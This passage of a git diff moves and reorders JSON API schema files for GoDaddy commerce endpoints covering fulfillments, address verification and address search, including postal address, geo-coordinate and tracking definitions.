"^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "id", + "content" + ], + "title": "Fulfillment Note", + "type": "object" + }, + "type": "array" + }, + "orderId": { + "description": "Reference to an order as defined by the Orders Service", + "example": "Order_2G5VsWEFhIktH8PY4qC0iOGDpVJ", + "type": "string" + }, + "origin": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about an address for a fulfillment", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "required": [ + "address" + ], + "title": "Fulfillment Address", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/fulfillment-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible statuses for a fulfillment \n\n `IN_PROGRESS`: The fulfillment has been acknowledged by a fulfillment service and is in progress \n\n `SUCCESS`: The fulfillment has been completed successfully \n\n `CANCELED`: The fulfillment has been canceled \n\n `ERROR`: There was an error when trying to process the fulfillment", + "enum": [ + "IN_PROGRESS", + "SUCCESS", + "CANCELED", + "ERROR" + ], + "title": "Fulfillment status", + "type": "string" + }, + "storeId": { + "description": "ID of the store that the fulfillment belongs to", + "example": "fd3d9291-dc9a-445d-aa68-d2ff1a77a83c", + "type": "string" + }, + "trackingData": { + "description": "Tracking information for a fulfillment. The ability to have multiple tracking numbers for a single fulfillment is to support `last mile` shipping use cases. We do not support fulfilling multiple discrete sets of items (e.g. multiple boxes) in a single fulfillment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/fulfillment/tracking.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant details about tracking a fulfillment. Typically represents a shipping label for a service like USPS", + "properties": { + "labelId": { + "description": "Reference to a Label as defined by the Label Service", + "type": "string" + }, + "number": { + "description": "The tracking number", + "example": "U897654321345678", + "type": "string" + }, + "provider": { + "description": "Tracking provider (`UPS`, `USPS`, etc.)", + "type": "string" + }, + "service": { + "description": "Tracking provider (`2nd Day`, `Priority`, `Express` etc.)", + "type": "string" + }, + "url": { + "description": "The tracking URL", + "example": "http://www.ups.com/WebTracking/track?trackNums=U897654321345678&track.x=Track", + "type": "string" + } + }, + "required": [ + "number" + ], + "title": "Tracking", + "type": "object" + }, + "type": "array" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "id", + "storeId", + "mode", + "status", + "detailedStatus", + "locationId", + "items" + ], + "title": "Fulfillment", + "type": "object" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "fulfillment" + ], + "type": "object" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [] + } + ] +} \ No newline at end of file diff --git a/src/cli/schemas/api/location-addresses.json b/rust/schemas/api/location-addresses.json similarity index 76% rename from src/cli/schemas/api/location-addresses.json rename to rust/schemas/api/location-addresses.json index 2fd6166..49641d0 100644 --- a/src/cli/schemas/api/location-addresses.json +++ b/rust/schemas/api/location-addresses.json @@ -5,200 +5,6 @@ "version": "1.1.0", "baseUrl": "https://api.godaddy.com/v1/commerce", "endpoints": [ - { - "operationId": "commerce.location.search-addresses", - "method": "GET", - "path": "/location/addresses", - "summary": "Search addresses for autocomplete", - "description": "Returns a list of addresses matching the search query for autocomplete functionality", - "parameters": [ - { - "name": "query", - "in": "query", - "required": true, - "description": "The address search query string", - "schema": { - "type": "string" - } - } - ], - "responses": { - "200": { - "description": "GET /location/addresses Successful response", - "schema": { - "type": "object", - "properties": { - "status": { - "type": "string", - "enum": [ - "SUCCESS" - ] - }, - "data": { - "type": "object", - "properties": { - "matches": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - } - } - } - } - }, - "required": [ - "status", - "data" - ] - } - }, - "401": { - "description": "The error information." - }, - "403": { - "description": "The error information." - }, - "404": { - "description": "The error information." - }, - "500": { - "description": "The error information." - }, - "502": { - "description": "The error information." - }, - "503": { - "description": "The error information." - }, - "504": { - "description": "The error information." - } - }, - "scopes": [ - "location.address-verification:execute" - ] - }, { "operationId": "commerce.location.verify-address", "method": "POST", @@ -211,298 +17,492 @@ "schema": { "$id": "https://godaddy.com/schemas/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" } }, "responses": { + "403": { + "description": "The error information." + }, + "502": { + "description": "The error information." + }, + "503": { + "description": "The error information." + }, + "500": { + "description": "The error information." + }, + "401": { + "description": "The error information." + }, "200": { "description": "POST /location/address-verifications Successful response", "schema": { - "type": "object", "properties": { - "status": { - "type": "string", - "enum": [ - "SUCCESS" - ] - }, "data": { - "type": "object", "properties": { "matches": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "type": "array" + } + }, + "type": "object" + }, + "status": { + "enum": [ + "SUCCESS" + ], + "type": "string" + } + }, + "required": [ + "status", + "data" + ], + "type": "object" + } + }, + "504": { + "description": "The error information." + }, + "404": { + "description": "The error information." + } + }, + "scopes": [ + "location.address-verification:execute" + ] + }, + { + "operationId": "commerce.location.search-addresses", + "method": "GET", + "path": "/location/addresses", + "summary": "Search addresses for autocomplete", + "description": "Returns a list of addresses matching the search query for autocomplete functionality", + "parameters": [ + { + "name": "query", + "in": "query", + "required": true, + "description": "The address search query string", + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "GET /location/addresses Successful response", + "schema": { + "properties": { + "data": { + "properties": { + "matches": { + "items": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - 